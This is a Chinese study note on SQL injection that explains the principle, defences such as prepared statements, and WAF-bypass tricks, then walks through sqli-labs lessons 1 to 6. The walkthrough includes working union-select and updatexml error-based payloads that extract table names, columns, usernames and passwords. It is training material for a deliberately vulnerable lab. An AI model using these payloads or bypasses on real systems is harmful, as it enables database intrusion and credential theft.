SQL注入原理
SQL 注入就是指 Web 应用程序对用户输入的数据合法性没有过滤或者是判断,攻击者可以在Web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
简单理解SQL注入就是在认为可以构造参数的地方加入一些非法敏感语句,绕过后端处理并带到数据库中执行,然后返回敏感数据的过程。
SQL注入常用函数及含义
version() # 查看数据库版本
database() # 查看当前数据库名
user() # 查看当前数据库用户
system_user() # 查看系统用户名
group_concat() # 把数据库中的某列数据或某几列数据合并为一个字符串
@@datadir # 查看数据库路径
@@version_compile_os # 查看操作系统
参考Sql注入详解(原理篇)_sql注入攻击的原理-CSDN博客
SQL注入防御手段
参考浅谈SQL注入的四种防御方法_防止sql注入的四种方法-CSDN博客
1、限制数据类型
指在传入参数的地方限制参数的类型,当满足要求时才进行下一步。但这种方法存在一定的限制,只能在特定的页面才能使用,一般大部分都是要求我们传入的字符串,但可以很大程度限制整型注入的情况。(针对此函数也是有一定绕过手段,比如转为十六进制)
2、正则表达式匹配传入参数
特点是过滤标准非常的严格,同时非常消耗性能,因此攻击时可以构造大量的正常语句‘骗’过服务器,当后台对数据的处理达到最大限制时就会放弃匹配后面我们构造的非法语句,从而略过这个数据包。
3、函数过滤转义
在php中最基本的就是自带的magic_quotes_gpc函数,用于处理 ’ " 符号加上/ 防止转义,addslashes()也有同样的效果
4、预编译语句
是防御SQL注入的最佳方式。预编译是指将数据与代码分离,把传入的参数绑定为一个变量用?表示,攻击者无法改变SQL语句的结构。
实际情况中,应该多种防御方式结合,使用预编译的同时还要加上其他函数过滤、正则匹配等,也有使用自定义函数来确保安全的情况。
SQL注入常用绕过waf的方法
1、大小写绕过
2、编码绕过
空格可以用%09、%0b、%0c、/**/等绕过
3、利用注释符
eg 要执行 ?id=1 union select 1,2,3
改为 ?id=1 /*union*/union/*select*/select 1,2,3
4、重写
WAF只过滤一次的情况下适用
?id=1 unionunion select 1,2,3
5、比较操作符替换
适用于某一个比较操作符被过滤的情况
!=不等于,<>不等于,<小于,>大于,这些都可以用来替换 = 来绕过
WAF将=、>、<、全部过滤,则可以利用like来绕过
6、同功能函数替换
某个函数被过滤时,可以改为与他功能相同的函数
7、活用盲注
适用于页面无回显或有多种函数、逻辑运算符被过滤的情况
构造逻辑判断语句,判断信息的真假,去除所有的真值,实现SQL注入
常用函数
1.left()函数,left(database(),1)>‘s’
2.regexp(),select user() regexp ‘^r’
3.like,select user() like ‘ro%’
4.substr()函数,substr(a,b,c)
ascii()函数,ascii(substr((select database()),1,1))=98
5.ord()函数,ord(mid((select user()),1,1))=114
mid()函数,mid(a,b,c)
sqli-labs实践
less 1
输入?id=1
再输入?id=1' 尝试闭合,发现显示语法错误
加入--+注释网站代码中参数后面的内容,然后发现显示正常,则其存在字符类型的sql注入漏洞
再使用order by语句一个一个尝试后面有几列,发现3时正常,4时报错,说明有3列
用联合查询语句union select 1,2,3可以确定其回显位置
在2的位置输入database()可以查询到当前数据库名字是security
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查看表名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查看字段名
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
得到username和password
less 2
单引号会报错,报错信息看不到数字,猜测是数字型注入
加上数字还是报错,证明就是数字型
使用order by语句查询,发现到4时没有回显,说明一共有3列
判断回显点是2和3
查看数据库名称和版本
查看表名
查看字段名
得到敏感信息
less 3
发现还差一个)才闭合成功
加上之后就不会报错了
使用order by语句发现只有3列
确定回显点是2,3
查看数据库名称和版本号
查看表名
查看字段
获取敏感信息
less 4
输入双引号时才报错,还有单括号
使用order by语句查询,只有3列
确定回显点2,3
查看数据库名称与版本号
查看表名
查看字段
获取敏感信息
less 5
发现结果不回显
加上单引号发现有语法报错,闭合是单引号
order by语句查询发现有3列
尝试使用报错查询找到数据库名
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
其中updatexml() 函数的作⽤就是改变(查找并替换)xml⽂档中符合条件的节点的值
语法格式:updatexml(xml_document,XPthstring,new_value)
第⼀个参数:是字符串string(XML⽂档对象的名称)
第⼆个参数:是指定字符串中的⼀个位置(Xpath格式的字符串)
第三个参数:是将要替换成什么,string格式
Xpath定位必须是有效的,否则则会发⽣错误。我们就能利⽤这个特性爆出我们想要的数据
其中我们只需要把updatexml()中的第二个参数输入我们的查询语句就行
查询表名
查询字段
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+
获取敏感信息
查看username,id
查看id,password
less 6(sqlmap)
遇到询问就y
查看当前数据库
获取当前数据库的表
获取users中的字段名
查询字段下的数据